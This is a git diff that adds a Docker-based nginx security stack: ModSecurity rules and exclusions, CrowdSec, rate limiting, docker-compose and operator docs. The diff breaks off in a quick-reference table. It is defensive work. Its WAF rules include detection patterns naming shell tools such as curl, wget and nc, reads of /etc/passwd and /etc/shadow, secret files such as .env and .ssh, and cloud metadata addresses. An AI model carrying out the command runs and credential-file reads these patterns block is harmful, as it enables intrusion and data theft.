diff --git a/.env.example b/.env.example new file mode 100644 index 0000000..aca4947 --- /dev/null +++ b/.env.example @@ -0,0 +1,63 @@ +# =========================================== +# Nginx Security Stack - Environment Variables +# =========================================== +# Copy this file to .env and customize values + +# =========================================== +# Backend Configuration +# =========================================== + +# Backend application +# Default: httpbin for testing (started automatically with make start) +BACKEND=http://httpbin:80 + +# For your own backend, change to: +# BACKEND=http://your-app:3000 + +# =========================================== +# Port Configuration +# =========================================== + +# Nginx ports (use 80/443 for production, 8080/8443 for development) +NGINX_HTTP_PORT=8080 +NGINX_HTTPS_PORT=8443 + +# Metrics ports (for Prometheus scraping) +NGINX_EXPORTER_PORT=9113 +CROWDSEC_METRICS_PORT=6060 + +# Optional monitoring stack ports +LOKI_PORT=3100 +GRAFANA_PORT=3000 + +# =========================================== +# ModSecurity Configuration +# =========================================== + +# WAF mode: On (blocking), DetectionOnly (logging), Off (disabled) +MODSEC_RULE_ENGINE=On + +# OWASP CRS Paranoia Level (1-4, higher = more strict) +PARANOIA=1 + +# Anomaly scoring thresholds +ANOMALY_INBOUND=5 +ANOMALY_OUTBOUND=4 + +# =========================================== +# CrowdSec Configuration +# =========================================== + +# User/Group ID for CrowdSec +GID=1000 + +# CrowdSec Firewall Bouncer API Key (optional, for iptables IP blocking) +# Generate with: docker exec crowdsec cscli bouncers add firewall-bouncer -o raw +# CROWDSEC_BOUNCER_KEY=your-bouncer-api-key + +# =========================================== +# Grafana Configuration (Optional) +# =========================================== + +# Grafana admin password +GRAFANA_PASSWORD=your-secure-password diff --git a/.gitignore b/.gitignore index 9a5aced..ac1a7e4 100644 --- a/.gitignore +++ b/.gitignore @@ -1,139 +1,52 @@ -# Logs -logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* -lerna-debug.log* - -# Diagnostic reports (https://nodejs.org/api/report.html) -report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json - -# Runtime data -pids -*.pid -*.seed -*.pid.lock - -# Directory for instrumented libs generated by jscoverage/JSCover -lib-cov - -# Coverage directory used by tools like istanbul -coverage -*.lcov - -# nyc test coverage -.nyc_output - -# Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) -.grunt - -# Bower dependency directory (https://bower.io/) -bower_components - -# node-waf configuration -.lock-wscript - -# Compiled binary addons (https://nodejs.org/api/addons.html) -build/Release - -# Dependency directories -node_modules/ -jspm_packages/ - -# Snowpack dependency directory (https://snowpack.dev/) -web_modules/ - -# TypeScript cache -*.tsbuildinfo - -# Optional npm cache directory -.npm - -# Optional eslint cache -.eslintcache - -# Optional stylelint cache -.stylelintcache - -# Optional REPL history -.node_repl_history - -# Output of 'npm pack' -*.tgz +# =========================================== +# Nginx Security Stack - Git Ignore +# =========================================== -# Yarn Integrity file -.yarn-integrity - -# dotenv environment variable files +# Environment files (contain secrets) .env .env.* !.env.example -# parcel-bundler cache (https://parceljs.org/) -.cache -.parcel-cache - -# Next.js build output -.next -out - -# Nuxt.js build / generate output -.nuxt -dist - -# Gatsby files -.cache/ -# Comment in the public line in if your project uses Gatsby and not Next.js -# https://nextjs.org/blog/next-9-1#public-directory-support -# public - -# vuepress build output -.vuepress/dist - -# vuepress v2.x temp and cache directory -.temp -.cache - -# Sveltekit cache directory -.svelte-kit/ - -# vitepress build output -**/.vitepress/dist - -# vitepress cache directory -**/.vitepress/cache - -# Docusaurus cache and generated files -.docusaurus - -# Serverless directories -.serverless/ - -# FuseBox cache -.fusebox/ - -# DynamoDB Local files -.dynamodb/ - -# Firebase cache directory -.firebase/ - -# TernJS port file -.tern-port - -# Stores VSCode versions used for testing VSCode extensions -.vscode-test - -# yarn v3 -.pnp.* -.yarn/* -!.yarn/patches -!.yarn/plugins -!.yarn/releases -!.yarn/sdks -!.yarn/versions +# Logs +logs/* +!logs/.gitkeep +*.log -# Vite logs files -vite.config.js.timestamp-* -vite.config.ts.timestamp-* +# SSL Certificates (sensitive) +certs/* +!certs/.gitkeep +*.pem +*.key +*.crt +*.csr + +# CrowdSec data (created by Docker at runtime) +config/crowdsec-bouncer/ +config/crowdsec/* +!config/crowdsec/config.yaml.local +crowdsec-data/ + +# Docker volumes data +loki-data/ +grafana-data/ + +# IDE/Editor +.idea/ +.vscode/ +*.swp +*.swo +*~ + +# OS files +.DS_Store +Thumbs.db + +# Backup files +*.bak +*.backup +*.old +*.orig + +# Temp files +*.tmp +*.temp diff --git a/Makefile b/Makefile new file mode 100644 index 0000000..8e2fdb0 --- /dev/null +++ b/Makefile @@ -0,0 +1,79 @@ +.PHONY: help start stop restart test test-security test-false-pos logs logs-audit status bans unban-all health clean start-monitoring + +# Default target +help: + @echo "Nginx Security Stack - Available Commands" + @echo "" + @echo " make start - Start all core services" + @echo " make start-monitoring - Start with monitoring stack (Loki, Promtail, Grafana)" + @echo " make stop - Stop all services" + @echo " make restart - Restart all services" + @echo " make test - Run all tests" + @echo " make test-security - Run security tests only" + @echo " make test-false-pos - Run false positive tests only" + @echo " make logs - View nginx-waf logs" + @echo " make logs-audit - View ModSecurity audit logs" + @echo " make status - Show service status" + @echo " make bans - List CrowdSec bans" + @echo " make unban-all - Remove all CrowdSec bans" + @echo " make health - Check health endpoints" + @echo " make clean - Stop services and remove volumes" + +# Service management +start: + docker-compose up -d nginx-waf crowdsec nginx-exporter httpbin + @echo "Waiting for services to start..." + @sleep 15 + @$(MAKE) health + +start-monitoring: + docker-compose --profile monitoring up -d + @echo "Waiting for services to start..." + @sleep 20 + @$(MAKE) health + +stop: + docker-compose down + +restart: + docker-compose restart nginx-waf crowdsec nginx-exporter + +# Testing +test: test-security test-false-pos + @echo "All tests completed" + +test-security: + @./scripts/test-security.sh localhost:8080 http + +test-false-pos: + @./scripts/test-false-positives.sh localhost:8080 http + +# Logs and monitoring +logs: + docker-compose logs -f nginx-waf + +logs-audit: + @docker exec nginx-waf tail -f /var/log/modsecurity/audit.log 2>/dev/null | jq . || \ + docker exec nginx-waf tail -f /var/log/modsecurity/audit.log + +status: + docker-compose ps + +# CrowdSec operations +bans: + docker exec crowdsec cscli decisions list + +unban-all: + docker exec crowdsec cscli decisions delete --all + +# Health checks +health: + @echo "Checking health endpoints..." + @curl -sf http://localhost:8080/healthz > /dev/null 2>&1 && echo "nginx-waf: OK" || echo "nginx-waf: FAIL" + @curl -sf http://localhost:9113/metrics > /dev/null 2>&1 && echo "nginx-exporter: OK" || echo "nginx-exporter: FAIL" + @curl -sf http://localhost:6060/metrics > /dev/null 2>&1 && echo "crowdsec: OK" || echo "crowdsec: FAIL" + +# Cleanup +clean: + docker-compose down -v + rm -rf logs/nginx/* logs/modsecurity/* diff --git a/README.md b/README.md index 3b968d8..ff3e569 100644 --- a/README.md +++ b/README.md @@ -1,2 +1,52 @@ -# cloud-native-nginx -Nginx image with enabled plugins for security and observability +# Nginx Security Stack + +Docker-based security stack: WAF (ModSecurity + OWASP CRS), CrowdSec, Rate Limiting. + +## Quick Start + +```bash +cp .env.example .env +make start +make test +``` + +Works out of the box with test backend (httpbin). + +For your own backend, edit `BACKEND` in `.env`: +```bash +BACKEND=http://your-app:3000 +``` + +## Commands + +```bash +make help # Show all commands +make start # Start core services +make start-monitoring # Start with monitoring (Loki, Grafana) +make stop # Stop all services +make restart # Restart services +make test # Run all tests +make test-security # Security tests only +make test-false-pos # False positive tests only +make logs # View nginx-waf logs +make logs-audit # View ModSecurity audit logs +make status # Show service status +make health # Check health endpoints +make bans # List CrowdSec bans +make unban-all # Remove all bans +make clean # Stop and remove volumes +``` + +## Ports + +| Service | Port | +|---------|------| +| nginx-waf HTTP | 8080 | +| nginx-waf HTTPS | 8443 | +| nginx-exporter | 9113 | +| crowdsec | 6060 | + +## Docs + +- [Quick Reference](docs/QUICK_REFERENCE.md) +- [Emergency Procedures](docs/EMERGENCY.md) diff --git a/config/crowdsec/config.yaml.local b/config/crowdsec/config.yaml.local new file mode 100644 index 0000000..8c96b44 --- /dev/null +++ b/config/crowdsec/config.yaml.local @@ -0,0 +1,34 @@ +# CrowdSec Local Configuration +# This file overrides settings from the main config.yaml + +# Enable Prometheus metrics endpoint +prometheus: + enabled: true + level: full # full, aggregated, or off + listen_addr: 0.0.0.0 + listen_port: 6060 + +# API server configuration +api: + server: + # Listen on all interfaces for Docker networking + listen_uri: 0.0.0.0:8080 + +# Database configuration (using default SQLite) +db_config: + type: sqlite + db_path: /var/lib/crowdsec/data/crowdsec.db + +# Configure what gets logged +cscli: + output: human # human, json, raw + +# Profiling (disable in production for performance) +config_paths: + notification_dir: /etc/crowdsec/notifications/ + +# Common API settings +common: + daemonize: false + log_media: stdout + log_level: info diff --git a/config/modsecurity/custom-rules.conf b/config/modsecurity/custom-rules.conf new file mode 100644 index 0000000..19a3dea --- /dev/null +++ b/config/modsecurity/custom-rules.conf @@ -0,0 +1,69 @@ +# Custom ModSecurity Rules +# File: RESPONSE-999-CUSTOM.conf +# +# These rules complement OWASP CRS. They are more targeted to avoid false positives. +# OWASP CRS already handles most attack patterns - these add application-specific protection. + +# ===== SQL INJECTION (Advanced Patterns) ===== + +SecRule ARGS "@rx (?i)(union\s+select|drop\s+table|insert\s+into|delete\s+from|update\s+.*\s+set)" \ + "id:9900001,phase:2,deny,status:403,log,msg:'SQL Injection Detected',tag:'OWASP_CRS',tag:'attack-sqli',severity:'CRITICAL'" + +# ===== COMMAND INJECTION (Targeted) ===== + +# NOTE: Rule 200002 removed - was blocking legitimate characters like () in phone numbers +# OWASP CRS rules 932xxx handle command injection comprehensively + +SecRule ARGS "@rx (?i)(?:^|[;&|])\s*(?:cat|rm|wget|curl|bash|sh|nc|python|perl|ruby|php)\s+[^&|;]*(?:/|\.\.)" \ + "id:9900003,phase:2,deny,status:403,log,msg:'Dangerous Command Detected',tag:'OWASP_CRS',tag:'attack-rce',severity:'CRITICAL'" + +# ===== XSS (Targeted) ===== + +SecRule ARGS "@rx (?i)]*>|javascript:\s*[a-z]|on(?:error|load|click|mouse\w+|key\w+)\s*=" \ + "id:9900005,phase:2,deny,status:403,log,msg:'XSS Detected',tag:'OWASP_CRS',tag:'attack-xss',severity:'CRITICAL'" + +# ===== PATH TRAVERSAL ===== + +SecRule REQUEST_URI|ARGS "@rx (?i)(?:\.\.\/|\.\.\\\\)" \ + "id:9900006,phase:1,deny,status:403,log,msg:'Path Traversal Detected',tag:'OWASP_CRS',tag:'attack-lfi',severity:'CRITICAL'" + +SecRule REQUEST_URI|ARGS "@rx (?i)(?:%2e%2e%2f|%2e%2e\/|\.%2e%2f|%2e\.%2f)" \ + "id:9900007,phase:1,deny,status:403,log,msg:'URL Encoded Path Traversal',tag:'OWASP_CRS',tag:'attack-lfi',severity:'CRITICAL'" + +SecRule REQUEST_URI|ARGS "@rx (?i)%252e%252e%252f" \ + "id:9900008,phase:1,deny,status:403,log,msg:'Double Encoded Path Traversal',tag:'OWASP_CRS',tag:'attack-lfi',severity:'CRITICAL'" + +# ===== SENSITIVE FILE ACCESS ===== + +SecRule REQUEST_URI "@rx (?i)(?:/\.env|/\.git|/\.htaccess|/\.ssh|/\.bash|/wp-config\.php|/config\.php)" \ + "id:9900009,phase:1,deny,status:403,log,msg:'Sensitive File Access Attempt',tag:'OWASP_CRS',tag:'attack-disclosure',severity:'CRITICAL'" + +SecRule REQUEST_URI|ARGS "@rx (?i)(?:/etc/passwd|/etc/shadow|/proc/self|/var/log/)" \ + "id:9900010,phase:1,deny,status:403,log,msg:'System File Access Attempt',tag:'OWASP_CRS',tag:'attack-lfi',severity:'CRITICAL'" + +# ===== NULL BYTE INJECTION ===== + +SecRule REQUEST_URI|ARGS "@rx %00" \ + "id:9900011,phase:1,deny,status:403,log,msg:'Null Byte Injection',tag:'OWASP_CRS',tag:'attack-protocol',severity:'CRITICAL'" + +# ===== SCANNER DETECTION ===== + +SecRule REQUEST_HEADERS:User-Agent "@rx (?i)(?:nikto|sqlmap|nmap|masscan|burpsuite|acunetix|nessus|qualys|w3af)" \ + "id:9900012,phase:1,deny,status:403,log,msg:'Security Scanner Detected',tag:'automation/scanner',severity:'WARNING'" + +# ===== SSRF PROTECTION ===== + +# Block access to internal/private IP addresses via URL parameters +SecRule ARGS "@rx (?i)(?:https?://)?(?:localhost|127\.0\.0\.1|0\.0\.0\.0|169\.254\.\d+\.\d+|192\.168\.\d+\.\d+|10\.\d+\.\d+\.\d+|172\.(?:1[6-9]|2\d|3[01])\.\d+\.\d+)(?::\d+)?(?:/|$)" \ + "id:9900013,phase:2,deny,status:403,log,msg:'SSRF Attempt Detected',tag:'OWASP_CRS',tag:'attack-ssrf',severity:'CRITICAL'" + +# Block cloud provider metadata endpoints +SecRule ARGS "@rx (?i)(?:https?://)?(?:metadata\.google|169\.254\.169\.254|metadata\.azure|169\.254\.170\.2)" \ + "id:9900014,phase:2,deny,status:403,log,msg:'Cloud Metadata SSRF Attempt',tag:'OWASP_CRS',tag:'attack-ssrf',severity:'CRITICAL'" + +# ===== HTTP METHOD RESTRICTION ===== + +# Only allow common HTTP methods (GET, POST, PUT, PATCH, DELETE, OPTIONS, HEAD) +SecRule REQUEST_METHOD "!@within GET POST PUT PATCH DELETE OPTIONS HEAD" \ + "id:9900015,phase:1,deny,status:405,log,msg:'Invalid HTTP Method',tag:'attack-protocol',severity:'WARNING'" + diff --git a/config/modsecurity/exclusions.conf b/config/modsecurity/exclusions.conf new file mode 100644 index 0000000..9248b57 --- /dev/null +++ b/config/modsecurity/exclusions.conf @@ -0,0 +1,82 @@ +# ModSecurity Rule Exclusions +# File: REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf +# +# Add rule exclusions here to prevent false positives. +# This file is loaded BEFORE OWASP CRS rules. + +# ===== REMOVED PROBLEMATIC RULES ===== +# +# Rule 200002 - Removed from custom-rules.conf +# Pattern [;|`$()] was too broad - blocked: +# - Phone numbers with parentheses: (123)456-7890 +# - JavaScript/JSON payloads +# - Mathematical expressions: 2*(3+4) +# - URLs with query parameters +# +# Rule 200004 - Removed from custom-rules.conf +# Pattern [\*\(\)\\] was too broad - blocked: +# - Wildcard search: test* +# - Phone numbers: (123)456-7890 +# - Windows file paths with backslashes + +# ===== PARANOIA & ANOMALY SETTINGS ===== +# Configured via environment variables in docker-compose.yml: +# - PARANOIA (default: 1) +# - ANOMALY_INBOUND (default: 5) +# - ANOMALY_OUTBOUND (default: 4) + +# ===== COMMON FALSE POSITIVE EXCLUSIONS ===== + +# Exclude health check endpoint from logging +SecRule REQUEST_URI "@streq /healthz" \ + "id:900100,phase:1,pass,nolog,ctl:ruleEngine=Off" + +# Exclude metrics endpoint from WAF +SecRule REQUEST_URI "@streq /stub_status" \ + "id:900101,phase:1,pass,nolog,ctl:ruleEngine=Off" + +# ===== API-SPECIFIC EXCLUSIONS ===== + +# Allow JSON content type without issues +# Some CRS rules may flag JSON payloads incorrectly + +# Calculator/Math expressions - allow mathematical operations +# Rule 932260: RCE detection (param name "expr" matches Unix command) +# Rule 942100: SQL injection (expressions like "(10+5)*2" look like SQL) +SecRule REQUEST_URI "@beginsWith /api/calc" \ + "id:900200,phase:1,pass,nolog,ctl:ruleRemoveById=932260,ctl:ruleRemoveById=942100" + +# Example: Exclude specific rule for upload endpoint +# SecRule REQUEST_URI "@beginsWith /api/upload" \ +# "id:900201,phase:1,pass,nolog,ctl:ruleRemoveById=942100" + +# Example: Exclude specific rule for search endpoint (if wildcards cause issues) +# SecRule REQUEST_URI "@beginsWith /api/search" \ +# "id:900202,phase:1,pass,nolog,ctl:ruleRemoveById=942200" + +# ===== GRAPHQL EXCLUSIONS ===== +# GraphQL queries can sometimes trigger SQL injection rules + +# SecRule REQUEST_URI "@streq /graphql" \ +# "id:900300,phase:1,pass,nolog,ctl:ruleRemoveTargetById=942100;ARGS:query" + +# ===== FILE UPLOAD EXCLUSIONS ===== +# Large file uploads may need body inspection disabled + +# SecRule REQUEST_URI "@beginsWith /api/files/upload" \ +# "id:900400,phase:1,pass,nolog,ctl:requestBodyAccess=Off" + +# ===== HOW TO ADD EXCLUSIONS ===== +# +# 1. Check ModSecurity audit log for blocked rule ID: +# docker exec nginx-waf cat /var/log/modsecurity/audit.log | jq '.transaction.messages' +# +# 2. Add exclusion by rule ID: +# SecRuleRemoveById 942100 +# +# 3. Add exclusion for specific URI: +# SecRule REQUEST_URI "@beginsWith /api/safe-endpoint" \ +# "id:900XXX,phase:1,pass,nolog,ctl:ruleRemoveById=942100" +# +# 4. Add exclusion for specific parameter: +# SecRuleRemoveTargetById 942100 "ARGS:search_query" diff --git a/config/nginx/default.conf.template b/config/nginx/default.conf.template new file mode 100644 index 0000000..75d7e73 --- /dev/null +++ b/config/nginx/default.conf.template @@ -0,0 +1,160 @@ +# Nginx configuration with Rate Limiting +# Based on OWASP ModSecurity CRS default template + +server_tokens ${SERVER_TOKENS}; + +map $http_upgrade $connection_upgrade { + default upgrade; + '' close; +} + +# ===== RATE LIMITING ZONES ===== + +# OTP/Login endpoints (strict - 5 req/min) +limit_req_zone $binary_remote_addr zone=auth:10m rate=5r/m; + +# General API (100 req/min) +limit_req_zone $binary_remote_addr zone=api:10m rate=100r/m; + +# ===== HTTP SERVER ===== + +server { + listen ${PORT} default_server; + + server_name ${SERVER_NAME}; + set $always_redirect ${NGINX_ALWAYS_TLS_REDIRECT}; + + PROXY_SSL_CONFIG + + # Auth endpoints (strict rate limiting) + location ~ ^/api/auth/(login|verify-otp|send-otp) { + limit_req zone=auth burst=3 nodelay; + limit_req_status 429; + + client_max_body_size 0; + include includes/cors.conf; + include includes/proxy_backend.conf; + } + + # API endpoints (moderate rate limiting) + location /api/ { + limit_req zone=api burst=20 nodelay; + limit_req_status 429; + + client_max_body_size 0; + include includes/cors.conf; + include includes/proxy_backend.conf; + } + + # GraphQL endpoint + location /graphql { + limit_req zone=api burst=20 nodelay; + limit_req_status 429; + + client_max_body_size 0; + include includes/cors.conf; + include includes/proxy_backend.conf; + } + + # Default location + location / { + client_max_body_size 0; + + if ($always_redirect = on) { + return 301 https://$host$request_uri; + } + + include includes/cors.conf; + include includes/proxy_backend.conf; + + index index.html index.htm; + root /usr/share/nginx/html; + } + + include includes/location_common.conf; + + # Custom 429 response + error_page 429 = @rate_limited; + location @rate_limited { + default_type application/json; + return 429 '{"error": "Too Many Requests", "message": "Rate limit exceeded", "retry_after": 60}'; + } +} + +# ===== HTTPS SERVER ===== + +server { + listen ${SSL_PORT} ssl; + + server_name ${SERVER_NAME}; + + ssl_certificate ${SSL_CERT_FILE}; + ssl_certificate_key ${SSL_CERT_KEY_FILE}; + ssl_session_timeout 1d; + ssl_session_cache shared:MozSSL:10m; + ssl_session_tickets off; + + ssl_dhparam /etc/ssl/certs/dhparam-${SSL_DH_BITS}.pem; + + ssl_protocols ${SSL_PROTOCOLS}; + ssl_ciphers ${SSL_CIPHERS}; + ssl_prefer_server_ciphers ${SSL_PREFER_CIPHERS}; + + ssl_stapling ${SSL_OCSP_STAPLING}; + ssl_stapling_verify ${SSL_OCSP_STAPLING}; + + ssl_verify_client ${SSL_VERIFY}; + ssl_verify_depth ${SSL_VERIFY_DEPTH}; + + PROXY_SSL_CONFIG + + # Auth endpoints (strict rate limiting) + location ~ ^/api/auth/(login|verify-otp|send-otp) { + limit_req zone=auth burst=3 nodelay; + limit_req_status 429; + + client_max_body_size 0; + include includes/cors.conf; + include includes/proxy_backend.conf; + } + + # API endpoints (moderate rate limiting) + location /api/ { + limit_req zone=api burst=20 nodelay; + limit_req_status 429; + + client_max_body_size 0; + include includes/cors.conf; + include includes/proxy_backend.conf; + } + + # GraphQL endpoint + location /graphql { + limit_req zone=api burst=20 nodelay; + limit_req_status 429; + + client_max_body_size 0; + include includes/cors.conf; + include includes/proxy_backend.conf; + } + + # Default location + location / { + client_max_body_size 0; + + include includes/cors.conf; + include includes/proxy_backend.conf; + + index index.html index.htm; + root /usr/share/nginx/html; + } + + include includes/location_common.conf; + + # Custom 429 response + error_page 429 = @rate_limited; + location @rate_limited { + default_type application/json; + return 429 '{"error": "Too Many Requests", "message": "Rate limit exceeded", "retry_after": 60}'; + } +} diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..2facf86 --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,230 @@ +version: "3.8" + +services: + # =========================================== + # NGINX + ModSecurity WAF + # =========================================== + nginx-waf: + image: owasp/modsecurity-crs:4-nginx-alpine-202601060501 + container_name: nginx-waf + ports: + - "${NGINX_HTTP_PORT:-8080}:8080" + - "${NGINX_HTTPS_PORT:-8443}:8443" + security_opt: + - no-new-privileges:true + environment: + # Backend configuration + - BACKEND=${BACKEND:-http://localhost:3000} + - PORT=8080 + - SSL_PORT=8443 + + # ModSecurity settings + - MODSEC_RULE_ENGINE=${MODSEC_RULE_ENGINE:-On} + - MODSEC_AUDIT_LOG=/var/log/modsecurity/audit.log + - MODSEC_AUDIT_LOG_FORMAT=JSON + + # OWASP CRS settings + - PARANOIA=${PARANOIA:-1} + - ANOMALY_INBOUND=${ANOMALY_INBOUND:-5} + - ANOMALY_OUTBOUND=${ANOMALY_OUTBOUND:-4} + + # Proxy timeout + - PROXY_TIMEOUT=60 + + volumes: + # Custom nginx config with rate limiting + - ./config/nginx/default.conf.template:/etc/nginx/templates/conf.d/default.conf.template:ro + + # Custom ModSecurity rules + - ./config/modsecurity/custom-rules.conf:/etc/modsecurity.d/owasp-crs/rules/RESPONSE-999-CUSTOM.conf:ro + - ./config/modsecurity/exclusions.conf:/etc/modsecurity.d/owasp-crs/rules/REQUEST-900-EXCLUSION-RULES-BEFORE-CRS.conf:ro + + # Logs (for CrowdSec analysis) + - ./logs/nginx:/var/log/nginx + - ./logs/modsecurity:/var/log/modsecurity + + networks: + - security-net + depends_on: + - crowdsec + restart: unless-stopped + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost:8080/healthz"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 15s + deploy: + resources: + limits: + cpus: '2' + memory: 512M + reservations: + cpus: '0.5' + memory: 256M + + # =========================================== + # CrowdSec - Intrusion Prevention System + # =========================================== + crowdsec: + image: crowdsecurity/crowdsec:v1.6.4 + container_name: crowdsec + security_opt: + - no-new-privileges:true + environment: + - COLLECTIONS=crowdsecurity/nginx crowdsecurity/http-cve crowdsecurity/base-http-scenarios + - GID=${GID:-1000} + ports: + - "${CROWDSEC_METRICS_PORT:-6060}:6060" + volumes: + # CrowdSec configuration + - ./config/crowdsec:/etc/crowdsec:rw + - crowdsec-data:/var/lib/crowdsec/data + + # Log sources to analyze + - ./logs/nginx:/var/log/nginx:ro + - ./logs/modsecurity:/var/log/modsecurity:ro + + networks: + - security-net + restart: unless-stopped + healthcheck: + test: ["CMD", "cscli", "version"] + interval: 30s + timeout: 10s + retries: 3 + start_period: 30s + deploy: + resources: + limits: + cpus: '1' + memory: 256M + reservations: + cpus: '0.25' + memory: 128M + + # =========================================== + # Nginx Prometheus Exporter (for CloudBankin) + # =========================================== + nginx-exporter: + image: nginx/nginx-prometheus-exporter:1.3.0 + container_name: nginx-exporter + security_opt: + - no-new-privileges:true + command: + - -nginx.scrape-uri=http://nginx-waf:8080/stub_status + ports: + - "${NGINX_EXPORTER_PORT:-9113}:9113" + networks: + - security-net + depends_on: + - nginx-waf + restart: unless-stopped + # Note: healthcheck removed - minimal image without wget/curl + # Use 'make health' to verify metrics endpoint + deploy: + resources: + limits: + cpus: '0.5' + memory: 64M + + # =========================================== + # Loki - Log Aggregation (Optional) + # =========================================== + loki: + image: grafana/loki:3.3.2 + container_name: loki + ports: + - "${LOKI_PORT:-3100}:3100" + volumes: + - ./config/loki:/etc/loki:ro + - loki-data:/loki + command: -config.file=/etc/loki/loki-config.yml + networks: + - security-net + restart: unless-stopped + profiles: + - monitoring + + # =========================================== + # Promtail - Log Collector (Optional) + # =========================================== + promtail: + image: grafana/promtail:3.3.2 + container_name: promtail + volumes: + - ./config/promtail:/etc/promtail:ro + - ./logs:/var/log/app:ro + command: -config.file=/etc/promtail/promtail-config.yml + networks: + - security-net + depends_on: + - loki + restart: unless-stopped + profiles: + - monitoring + + # =========================================== + # Grafana - Visualization (Optional) + # =========================================== + grafana: + image: grafana/grafana:11.4.0 + container_name: grafana + ports: + - "${GRAFANA_PORT:-3000}:3000" + environment: + - GF_SECURITY_ADMIN_PASSWORD=${GRAFANA_PASSWORD:-admin} + - GF_USERS_ALLOW_SIGN_UP=false + volumes: + - grafana-data:/var/lib/grafana + - ./config/grafana/provisioning:/etc/grafana/provisioning:ro + networks: + - security-net + depends_on: + - loki + restart: unless-stopped + profiles: + - monitoring + + # =========================================== + # HTTPBin - Test Backend for Quick Start + # =========================================== + httpbin: + image: kennethreitz/httpbin:latest + container_name: httpbin + networks: + - security-net + restart: unless-stopped + + # =========================================== + # CrowdSec Firewall Bouncer - IP Blocking + # =========================================== + # NOTE: Requires manual API key generation after first CrowdSec start + # Run: docker exec crowdsec cscli bouncers add firewall-bouncer -o raw + # Then add the key to .env as CROWDSEC_BOUNCER_KEY + crowdsec-bouncer: + image: crowdsecurity/firewall-bouncer:latest + container_name: crowdsec-bouncer + environment: + - CROWDSEC_LAPI_URL=http://crowdsec:8080 + - CROWDSEC_BOUNCER_API_KEY=${CROWDSEC_BOUNCER_KEY} + - MODE=iptables + - DISABLE_IPV6=true + cap_add: + - NET_ADMIN + - NET_RAW + network_mode: host + depends_on: + - crowdsec + restart: unless-stopped + profiles: + - bouncer + +networks: + security-net: + driver: bridge + +volumes: + crowdsec-data: + loki-data: + grafana-data: diff --git a/docs/EMERGENCY.md b/docs/EMERGENCY.md new file mode 100644 index 0000000..6eb9b48 --- /dev/null +++ b/docs/EMERGENCY.md @@ -0,0 +1,170 @@ +# Emergency Procedures + +Quick reference for emergency situations when the WAF is blocking legitimate traffic or causing issues. + +## 1. Quick WAF Disable (Detection Only Mode) + +Switch ModSecurity to detection-only mode (logs attacks but doesn't block): + +```bash +# Edit .env or docker-compose.yml +MODSEC_RULE_ENGINE=DetectionOnly + +# Restart nginx-waf +docker-compose restart nginx-waf +``` + +Or completely disable ModSecurity: + +```bash +MODSEC_RULE_ENGINE=Off +docker-compose restart nginx-waf +``` + +## 2. Disable Rate Limiting + +Comment out rate limiting in nginx config: + +```bash +# Edit config/nginx/default.conf.template +# Comment out these lines: +# limit_req zone=general burst=50 nodelay; +# limit_req zone=auth burst=3 nodelay; +# limit_req zone=api burst=100 nodelay; + +# Restart nginx-waf +docker-compose restart nginx-waf +``` + +## 3. Remove All CrowdSec Bans + +```bash +# Remove all current bans +docker exec crowdsec cscli decisions delete --all + +# Verify bans are cleared +docker exec crowdsec cscli decisions list +``` + +## 4. Unban Specific IP + +```bash +# List current bans to find the decision ID +docker exec crowdsec cscli decisions list + +# Delete specific ban by ID +docker exec crowdsec cscli decisions delete --id + +# Or unban by IP +docker exec crowdsec cscli decisions delete --ip +``` + +## 5. Rollback Configuration via Git + +```bash +# Discard all local changes +git checkout -- config/ + +# Restart services +docker-compose restart nginx-waf crowdsec +``` + +## 6. Full WAF Bypass (Emergency Nginx) + +For critical situations, bypass the WAF entirely by pointing directly to backend: + +```bash +# Stop nginx-waf +docker-compose stop nginx-waf + +# Run emergency nginx without WAF (example) +docker run -d --name emergency-nginx \ + -p 8080:80 \ + --network cloud-native-nginx_security-net \ + nginx:alpine + +# Update emergency nginx to proxy to backend +docker exec -it emergency-nginx sh -c 'cat > /etc/nginx/conf.d/default.conf << EOF +server { + listen 80; + location / { + proxy_pass http://httpbin:80; + } +} +EOF' + +docker exec emergency-nginx nginx -s reload +``` + +To restore: + +```bash +docker stop emergency-nginx && docker rm emergency-nginx +docker-compose start nginx-waf +``` + +## 7. Increase Anomaly Threshold (Less Strict) + +If too many false positives, increase the anomaly threshold: + +```bash +# Edit .env +ANOMALY_INBOUND=10 # Default is 5, higher = less strict +PARANOIA=1 # Keep at 1 for production + +docker-compose restart nginx-waf +``` + +## 8. Disable Specific Rule + +If a specific rule is causing issues: + +```bash +# Edit config/modsecurity/exclusions.conf +# Add rule exclusion: +SecRuleRemoveById 9900013 # Disable SSRF rule + +docker-compose restart nginx-waf +``` + +## 9. Check What's Blocking + +```bash +# View recent ModSecurity blocks +docker exec nginx-waf tail -100 /var/log/modsecurity/audit.log | jq -r '.transaction.messages[]?.message' | sort | uniq -c | sort -rn + +# View nginx access logs for 403s +docker exec nginx-waf grep " 403 " /var/log/nginx/access.log | tail -50 +``` + +## 10. Complete Service Restart + +```bash +# Stop everything +docker-compose down + +# Clear logs if needed +rm -rf logs/nginx/* logs/modsecurity/* + +# Start fresh +docker-compose up -d nginx-waf crowdsec nginx-exporter httpbin +``` + +## Escalation Contacts + +| Role | Contact | When to escalate | +|------|---------|------------------| +| DevOps Lead | [TBD] | Service down > 5 min | +| Security Team | [TBD] | Suspected real attack | +| CloudBankin Support | [TBD] | Infrastructure issues | + +## Recovery Checklist + +After emergency procedures, remember to: + +- [ ] Restore WAF to `On` mode after investigation +- [ ] Re-enable rate limiting +- [ ] Review logs to understand what triggered the issue +- [ ] Add appropriate exclusions for legitimate traffic +- [ ] Document the incident +- [ ] Update rules if needed diff --git a/docs/QUICK_REFERENCE.md b/docs/QUICK_REFERENCE.md new file mode 100644 index 0000000..45ddde3 --- /dev/null +++ b/docs/QUICK_REFERENCE.md @@ -0,0 +1,182 @@ +# Quick Reference + +Common commands for managing the Nginx Security Stack. + +## Service Management + +| Command | Description | +|---------|-------------| +| `make start` | Start core services (nginx-waf, crowdsec, nginx-exporter, httpbin) | +| `make start-monitoring` | Start with monitoring stack (Loki, Promtail, Grafana) | +| `make stop` | Stop all services | +| `make restart` | Restart core services | +| `make status` | Show service status | +| `make health` | Check health endpoints | +| `make clean` | Stop services and remove volumes | + +## Testing + +| Command | Description | +|---------|-------------| +| 